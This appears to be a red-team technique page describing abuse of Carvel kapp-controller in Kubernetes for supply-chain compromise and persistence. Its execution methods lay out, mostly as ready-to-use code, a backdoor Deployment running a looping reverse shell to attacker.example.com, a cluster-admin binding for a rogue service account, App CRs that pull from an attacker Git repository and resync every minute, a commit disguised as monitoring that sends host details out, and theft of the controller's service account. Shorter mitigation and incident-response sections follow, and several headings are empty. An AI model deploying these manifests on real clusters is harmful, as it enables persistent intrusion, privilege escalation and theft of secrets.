MCADDF

[K8S-SUPPLY-003]: Kubernetes Package Manager (KAPP) Abuse

Metadata

Attribute Details
Technique ID K8S-SUPPLY-003
MITRE ATT&CK v18.1 T1195.001 - Supply Chain Compromise: Compromise Software Repository
Tactic Initial Access / Persistence / Supply Chain Compromise
Platforms Kubernetes
Severity High
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Carvel kapp-controller 0.40.0+, kapp CLI all versions
Patched In N/A - Requires defensive controls and secure configuration practices
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Kubernetes Package Manager (KAPP) Abuse is a supply chain and persistence attack leveraging Carvel’s kapp-controller for malicious application deployment and lifecycle management. Kapp-controller is an operator within Kubernetes that enables declarative application management, GitOps-style deployments, and package management through AppCR resources. Attackers exploit insecure kapp configurations, compromised Git repositories referenced by App CRs, or misuse of privileged service accounts to inject malicious applications that persist across cluster updates and operate with cluster-admin or namespace-admin privileges. Unlike Helm, kapp-controller operates continuously within the cluster, making it a persistent backdoor mechanism if compromised.

Attack Surface: Carvel kapp-controller instances, Git repositories referenced by App CRs, image repositories referenced in kapp configurations, kapp-controller RBAC permissions, and AppCR specifications that can be modified by cluster users. The attack also leverages kapp’s package management features and the ability to define custom deployment ordering and resource dependencies.

Business Impact: Persistent cluster compromise, privilege escalation through controller abuse, supply chain pollution, GitOps pipeline manipulation, automatic malicious application deployment. Organizations relying on kapp-controller face continuous malicious application deployment, undetectable persistence through GitOps mechanisms, lateral movement through privileged controller service account, and resilience against remediation due to declarative reconciliation loops.

Technical Context: Kapp-controller continuously reconciles desired state, meaning deleted malicious applications are automatically redeployed if the App CR remains. Attacks are difficult to detect because they appear as normal declarative configurations. The controller may have elevated privileges granting access to cluster-admin secrets and configuration.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Kubernetes 5.1 / 5.2 RBAC and service account restrictions for operators
CIS Kubernetes 4.1 Restrict access to cluster events and configurations
NIST 800-53 AC-6 / AC-3 Least privilege and access control
GDPR Art. 32 Security measures and access control
NIS2 Art. 21 Risk management and GitOps integrity
ISO 27001 A.9.2 / A.9.4 Access control and privilege management

3. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Kapp-Controller Discovery

# Check if kapp-controller is installed
kubectl get deployment -A | grep kapp-controller
kubectl get ns | grep kapp-controller

# Inspect kapp-controller configuration
kubectl get deployment kapp-controller -n kapp-controller -o yaml

# Check service account permissions
kubectl get rolebinding,clusterrolebinding -A | grep kapp
kubectl get serviceaccount kapp-controller -n kapp-controller -o yaml

What to Look For:

App CR Enumeration

# List all App CRs in cluster
kubectl get app -A
kubectl describe app -n <namespace>

# Examine App CR specifications
kubectl get app <app-name> -n <namespace> -o yaml

# Check Git repository references
kubectl get app -A -o jsonpath='{.items[*].spec.fetch.git}' | grep -i "url\|repository"

# Check image sources
kubectl get app -A -o jsonpath='{.items[*].spec.template[*].image}'

What to Look For:

Kapp-Controller Permissions Assessment

# Check kapp-controller RBAC
kubectl get clusterrole kapp-controller -o yaml | grep -i "resources\|verbs"

# Test what kapp-controller can do
kubectl auth can-i get configmaps --as=system:serviceaccount:kapp-controller:kapp-controller --all-namespaces

# List all resources controller has access to
kubectl get clusterrolebindings -o yaml | grep -A5 "kapp-controller"

What to Look For:


5. DETAILED EXECUTION METHODS

METHOD 1: Malicious App CR Injection

Supported Versions: kapp-controller 0.40.0+, Kubernetes 1.16+

Step 1: Create Malicious Git Repository

Objective: Set up Git repository containing malicious application manifests

Command (Repository Setup):

# Create private Git repository with malicious application
mkdir malicious-app-repo
cd malicious-app-repo
git init

# Create malicious kapp configuration
cat > kapp-config.yaml << 'EOF'
apiVersion: kapp.k14s.io/v1alpha1
kind: Config
minimumKappVersion: "0.40.0"

# Ensure deployments order (backdoor deploys first)
templates:
- paths:
  - "manifests/"
  resourceMatchers:
  - kindRegexps:
    - Deployment
    apiVersionRegexps:
    - apps/v1
  
# Enable override to allow privilege escalation
rebaseRules: []
EOF

# Create backdoored deployment
cat > manifests/deployment.yaml << 'EOF'
apiVersion: apps/v1
kind: Deployment
metadata:
  name: malicious-app
spec:
  replicas: 1
  selector:
    matchLabels:
      app: backdoor
  template:
    metadata:
      labels:
        app: backdoor
    spec:
      serviceAccountName: malicious-sa
      containers:
      - name: backdoor
        image: attacker-registry.com/backdoor:latest
        imagePullPolicy: Always
        command:
        - sh
        - -c
        - |
          # Reverse shell to attacker C2
          while true; do
            bash -i >& /dev/tcp/attacker.example.com/4444 0>&1 || true
            sleep 60
          done
        env:
        - name: KUBECONFIG
          value: /var/run/secrets/kubernetes.io/serviceaccount/config
        volumeMounts:
        - name: sa-token
          mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      volumes:
      - name: sa-token
        projected:
          sources:
          - serviceAccountToken:
              path: token
              expirationSeconds: 3600
EOF

# Create privileged service account
cat > manifests/serviceaccount.yaml << 'EOF'
apiVersion: v1
kind: ServiceAccount
metadata:
  name: malicious-sa
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: malicious-admin
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: malicious-sa
  namespace: default
EOF

# Commit to repository
git add .
git commit -m "Initial application setup"

Expected Output:

[main (root-commit) abc1234] Initial application setup
 3 files changed, 50 insertions(+)

What This Means:

OpSec & Evasion:

Step 2: Create Malicious App CR

Objective: Deploy malicious application through kapp-controller via App CR

Command (App CR Creation):

# Create App CR referencing malicious Git repository
kubectl apply -f - << 'EOF'
apiVersion: packaging.carvel.dev/v1alpha1
kind: App
metadata:
  name: malicious-app
  namespace: default
spec:
  # Reference malicious Git repository
  fetch:
  - git:
      url: https://attacker.example.com/malicious-app-repo.git
      ref: main
      secretRef:
        name: git-creds  # Or omit if public
  # Template manifests (optional - can use raw YAML)
  template:
  - ytt:
      inline:
        pathsFrom:
        - secretRef:
            name: app-values
  # Deploy manifests
  deploy:
  - kapp:
      rawOptions:
      - --diff-changes=true
      - --apply-ignored=true
EOF

Expected Output:

app.packaging.carvel.dev/malicious-app created

What This Means:

OpSec & Evasion:

Step 3: Maintain Persistence

Objective: Ensure malicious application survives cluster restarts and remediation attempts

Command (Persistence Configuration):

# Update App CR to re-deploy if deleted
cat > persistent-app.yaml << 'EOF'
apiVersion: packaging.carvel.dev/v1alpha1
kind: App
metadata:
  name: malicious-app
  namespace: default
  finalizers:
  - apps.carvel.dev/finalizer  # Prevents accidental deletion
spec:
  serviceAccountName: kapp-sa  # Use elevated service account
  fetch:
  - git:
      url: https://attacker.example.com/malicious-app-repo.git
      ref: main
  # Aggressive reconciliation
  syncPeriod: 1m  # Sync every minute
  template:
  - kapp: {}
  deploy:
  - kapp:
      rawOptions:
      - --wait=true
      - --wait-ui=true
      - --wait-check-interval=5s
EOF

kubectl apply -f persistent-app.yaml

Expected Output:

app.packaging.carvel.dev/malicious-app configured

What This Means:

METHOD 2: Git Repository Compromise

Supported Versions: kapp-controller 0.40.0+, Kubernetes 1.16+

Step 1: Compromise Existing Git Repository

Objective: Gain write access to legitimate Git repository referenced by App CR

Command (Repository Access):

# Attacker obtains Git credentials through:
# 1. Leaked credentials in GitHub Actions secrets
# 2. Compromised developer machine
# 3. Weak repository access control

# Verify access to repository
git clone https://git-creds:token@github.com/victim-org/app-repo.git
cd app-repo
git log --oneline -5

Expected Output:

abc1234 Latest application version
def5678 Security update
ghi9012 Dependency upgrade

What This Means:

Step 2: Inject Malicious Payload

Objective: Add malicious deployment to legitimate application repository

Command (Payload Injection):

# Add backdoored deployment to legitimate repository
cat >> manifests/backdoor.yaml << 'EOF'
apiVersion: apps/v1
kind: Deployment
metadata:
  name: system-monitor
  namespace: kube-system
spec:
  replicas: 1
  selector:
    matchLabels:
      app: monitor
  template:
    metadata:
      labels:
        app: monitor
    spec:
      containers:
      - name: monitor
        image: attacker.example.com/monitor:latest
        command: ["/bin/sh", "-c"]
        args:
        - |
          while true; do
            curl -X POST http://attacker.example.com/callback \
              -d "hostname=$(hostname)" \
              -d "user=$(whoami)"
            sleep 300
          done
EOF

# Commit malicious change
git add manifests/backdoor.yaml
git commit -m "Add system monitoring for observability"
git push origin main

Expected Output:

Enumerating objects: 3, done.
Writing objects: 100% (3/3), 250 bytes | 250.00 KiB/s, done.
Total 3 (delta 2), reused 0 (delta 0)

What This Means:

Step 3: Trigger Reconciliation

Objective: Force kapp-controller to pull and deploy updated manifests

Command (Trigger Update):

# Force immediate reconciliation
kubectl patch app malicious-app --type merge -p '{"spec":{"paused":false}}'

# Or wait for automatic reconciliation (default: every minute)
# Monitor reconciliation status
kubectl get app malicious-app -w
kubectl describe app malicious-app | grep -A10 "Status"

Expected Output:

NAME            STATUS              Age
malicious-app   Reconciling         5s
malicious-app   ReconcileSucceeded  10s

What This Means:

METHOD 3: Service Account Privilege Escalation

Supported Versions: kapp-controller 0.40.0+, Kubernetes 1.16+

Step 1: Identify Controller Permissions

Objective: Determine kapp-controller privileges

Command:

# Check kapp-controller role permissions
kubectl get clusterrole kapp-controller -o yaml

# Test what we can do as kapp-controller
kubectl auth can-i create deployments --as=system:serviceaccount:kapp-controller:kapp-controller --all-namespaces
kubectl auth can-i get secrets --as=system:serviceaccount:kapp-controller:kapp-controller --all-namespaces

Expected Output:

yes (controller can create deployments)
yes (controller can access secrets)

Step 2: Exploit Controller Permissions

Objective: Use kapp-controller’s elevated privileges to escalate attack

Command (Privilege Escalation):

# Create App CR that uses controller's service account
cat > privilege-escalation.yaml << 'EOF'
apiVersion: packaging.carvel.dev/v1alpha1
kind: App
metadata:
  name: secret-stealer
spec:
  serviceAccountName: kapp-controller  # Use controller's SA
  fetch:
  - git:
      url: https://attacker.example.com/secret-stealer.git
  deploy:
  - kapp:
      rawOptions:
      - --apply-ignored=true
EOF

kubectl apply -f privilege-escalation.yaml

What This Means:


6. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Verify RBAC restrictions
kubectl get rolebindings,clusterrolebindings -A | grep kapp

# Verify Git repository restrictions via Kyverno
kubectl get clusterpolicy | grep restrict-git

# Verify network policies
kubectl get networkpolicies -n kapp-controller

# Check App CR RBAC
kubectl auth can-i create app --as=default-user

Expected Output (If Secure):

NAME                        ROLE                            AGE
kapp-controller-minimal     kapp-controller-minimal         5m

NAME                                   VALIDATIONACTION   AGE
restrict-git-repos                     enforce            5m

NAME                          POD SELECTOR   AGE
kapp-controller-egress        app=...        5m

no  # User cannot create App CRs

7. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command:
    # Immediately delete malicious App CR
    kubectl delete app <malicious-app> -n <namespace> --grace-period=0
    
    # Force remove finalizers if stuck
    kubectl patch app <malicious-app> -n <namespace> -p '{"metadata":{"finalizers":[]}}' --type=merge
    
    # Delete resulting deployments
    kubectl delete deployment <malicious-deployment> -n <namespace> --grace-period=0 --force
        
    # Revoke compromised Git credentials
    # GitHub/GitLab: Delete personal access tokens, rotate deploy keys
    
  2. Collect Evidence: Command:
    # Export App CR specification
    kubectl get app <app-name> -n <namespace> -o yaml > app-cr.yaml
        
    # Export kapp-controller logs
    kubectl logs -n kapp-controller deployment/kapp-controller --tail=1000 > kapp-logs.txt
        
    # Export Git commit history
    git log --oneline -50 > git-history.txt
    git diff HEAD~10 HEAD > git-changes.patch
        
    # Export affected Kubernetes resources
    kubectl get all -n <namespace> -o yaml > namespace-resources.yaml
    
  3. Remediate: Command:
    # Reset Git repository to known good state
    cd /path/to/repo
    git reset --hard origin/main~5  # Reset to 5 commits ago
    git push -f origin main
        
    # Restart kapp-controller to reload configuration
    kubectl rollout restart deployment/kapp-controller -n kapp-controller
        
    # Force reconciliation after cleanup
    kubectl patch app <legitimate-app> -n <namespace> -p '{"spec":{"paused":false}}'
        
    # Audit RBAC to remove unauthorized permissions
    kubectl delete rolebinding <malicious-binding>
    

Step Phase Technique Description
1 Initial Access [K8S-SUPPLY-001] / [K8S-SUPPLY-002] Helm or Container Image Poisoning
2 Persistence [K8S-SUPPLY-003] Malicious App CR via kapp-controller
3 Privilege Escalation Service Account Abuse Use controller’s elevated SA permissions
4 Lateral Movement Cluster API Access Access to secrets across namespaces
5 Impact Data Exfiltration / Cluster Takeover Complete infrastructure compromise

9. REAL-WORLD EXAMPLES

Example 1: Carvel Security Disclosure (2024)

Example 2: Poisoned Pipeline Execution (PPE) in CI/CD

Example 3: GitOps Supply Chain Attack (Cilium)